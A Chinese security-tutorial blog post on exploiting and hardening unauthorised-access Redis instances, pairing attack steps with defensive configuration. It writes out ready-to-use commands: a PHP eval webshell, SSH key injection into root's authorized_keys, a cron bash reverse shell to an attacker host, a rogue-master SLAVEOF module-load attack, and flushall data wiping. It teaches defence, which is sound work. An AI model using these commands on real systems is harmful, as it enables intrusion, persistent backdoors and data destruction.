文章总结: 本文深入剖析Redis未授权访问漏洞的原理与利用方式,包括通过CONFIG命令写入WebShell、SSH公钥及计划任务,以及主从复制RCE攻击。文章提供了企业级纵深防护方案,涵盖网络隔离、服务配置加固、低权限运行及日志监控,旨在帮助企业有效防御Redis相关安全风险。 综合评分: 91 文章分类: 漏洞分析,渗透测试,WEB安全,解决方案,实战经验
安全小知识-第二十期_Redis未授权访问漏洞利用与修复
原创
今木安全 今木安全
今木安全
2026年1月22日 11:30 上海
Redis因其高性能而备受青睐,但其默认配置的“零安全”策略也带来了严峻的挑战。本文将深入技术细节,解析漏洞成因、攻击手法,并提供层层递进的防护方案。
一、 漏洞原理深度剖析:从默认配置到权限失控
- 不安全的默认配置链
- 绑定地址(bind): 默认配置为
bind 127.0.0.1,但若管理员为方便而改为bind 0.0.0.0或直接注释掉该行,Redis将监听所有网络接口,暴露在公网。 - 保护模式(protected-mode): Redis 3.2版本引入的重要安全特性。默认值为
yes。当服务器未设置密码且绑定地址为全零(0.0.0.0)时,保护模式会生效,仅允许回环地址(127.0.0.1)的连接。然而,一旦设置了bind 0.0.0.0并同时设置了密码,保护模式便会自动禁用,此时安全完全依赖于密码强度和网络防火墙。 - 认证密码(requirepass): 默认值为空。这是导致未授权访问的最直接原因。
-
权限提升的技术链条
攻击者连接成功后,利用Redis内置的
CONFIG命令修改数据持久化路径和文件名,从而实现任意文件写入。其技术链条如下:
# 1. 无认证连接
redis-cli -h 目标IP -p 6379
# 2. 关键步骤:更改Redis工作目录(dir)
# 此命令将Redis的持久化文件存储路径指向系统关键目录
config set dir /var/www/html/ # 针对Web目录
config set dir /root/.ssh/ # 针对SSH密钥目录
config set dir /etc/cron.d/ # 针对计划任务目录
config set dir /tmp/ # 针对临时目录,可能用于上传可执行文件
# 3. 关键步骤:设置持久化文件名(dbfilename)
config set dbfilename shell.php # 写入WebShell
config set dbfilename authorized_keys # 写入SSH公钥
config set dbfilename root # 写入Crontab任务等
# 4. 写入恶意内容并触发持久化
set payload "恶意代码或公钥内容"
save # 或 bgsave,将内存数据导出到指定文件
技术细节:save命令会阻塞Redis服务器直到文件写入完成,而bgsave会异步执行。写入的文件会包含Redis数据文件头,这可能破坏某些文件格式(如SSH密钥),但通过精心构造内容(如换行符)可以绕过。
二、 攻击技术扩展:从数据泄露到系统沦陷
- 数据层面攻击
- 敏感信息泄露:使用
keys *命令模糊匹配所有键,再使用get、hgetall等命令获取业务数据、会话信息、配置信息等。 - 数据破坏:
flushdb清空当前数据库,flushall清空所有数据库,对业务造成毁灭性打击。
- 系统层面攻击(核心危害)
-
前提:知道Web根目录绝对路径。
-
操作:写入一个可执行的脚本文件(如PHP)。
-
操作:将目录设置为
/etc/cron.d/,文件名任意,写入计划任务格式的恶意命令。 -
前提:Redis服务以
root权限运行,且目标服务器开启了SSH密码登录或存在其他漏洞。 -
操作:如上文所述,将公钥写入
/root/.ssh/authorized_keys。 -
细节:写入的文件开头会包含Redis版本信息等乱码,需在公钥前后添加换行符以确保SSH能正确识别。
-
SSH公钥植入登录:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt | redis-cli -h 目标IP -x set payload
redis-cli -h 目标IP config set dir /root/.ssh/
redis-cli -h 目标IP config set dbfilename authorized_keys
redis-cli -h 目标IP save
- Crontab计划任务反弹Shell:
config set dir /etc/cron.d/
config set dbfilename redis-shell
set payload "*/1 * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n"
save
- WebShell写入:
config set dir /var/www/html/
config set dbfilename shell.php
set payload "<?php @eval($_POST['cmd']);?>"
save
三、 高级利用技术:主从复制攻击
这是比文件写入更强大的攻击方式,可用于实现远程代码执行(RCE)。
- 原理:Redis的主从复制功能允许从库(Slave)同步主库(Master)的数据。攻击者可以控制一个恶意Redis服务器,并将其设置为目标Redis的主库。
- 步骤:
# 在目标Redis上执行
SLAVEOF 攻击者RedisIP 攻击者Redis端口
-
攻击者Redis会将自己的数据(包括恶意模块)同步给目标Redis。
-
通过
MODULE LOAD命令在目标Redis上加载恶意模块,即可执行任意命令。 -
在攻击者服务器上,准备好一个包含恶意代码的Redis模块(.so文件)。
-
将目标Redis设置为攻击者Redis的从库。
四、 企业级纵深防护方案
- 网络层隔离(第一道防线)
# iptables 示例:仅允许192.168.1.0/24网段访问
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 6379 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
-
安全组/NSG:在云环境中,配置安全组规则,实现同样的网络隔离。
-
防火墙:严格限制Redis端口的访问源IP,仅允许应用服务器IP段访问。
- 服务层加固(核心配置)
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command MODULE ""
# 重命名后,使用新命令管理,如:
rename-command CONFIG "b840fc02d524045429941cc15f59e41cb7be6c52"
- 强制认证:在
redis.conf中设置requirepass一个高强度密码(长度>16位,包含大小写、数字、特殊字符)。 - 修改默认端口:将端口从
6379改为非常用端口,增加攻击者扫描难度。 - 限制监听地址:非必要不暴露公网,生产环境应配置
bind 127.0.0.1或内网IP。 - 禁用危险命令:通过
rename-command配置重命名或禁用高风险命令。
- 系统层权限控制
useradd -r -s /bin/false redis
chown -R redis:redis /var/lib/redis
chown -R redis:redis /var/log/redis
# 在systemd服务文件中指定User=redis
-
文件系统限制:通过AppArmor或SELinux为Redis进程定义严格的访问控制策略,限制其只能访问必要的文件和目录。
-
低权限运行:使用非root用户(如
redis用户)启动Redis服务。
五、 检测与监控
- 漏洞扫描:定期使用内部扫描工具或授权的外部扫描服务,检查是否存在未授权访问的Redis实例。
- 日志审计:Redis的日志默认不记录客户端连接。需要在
redis.conf中配置loglevel verbose并设置logfile路径,才能记录连接信息,便于事后溯源。 - 入侵指标(IOC)监控:在HIDS(主机入侵检测系统)或网络层面监控对Redis端口的异常连接、
CONFIG命令的执行、以及对计划任务或SSH目录的异常写入行为。
通过以上层层递进的技术防护与监控,可以极大地降低Redis未授权访问漏洞带来的风险,为企业数据安全构筑坚固的防线。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:今木安全 今木安全 今木安全《安全小知识-第二十期_Redis未授权访问漏洞利用与修复》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论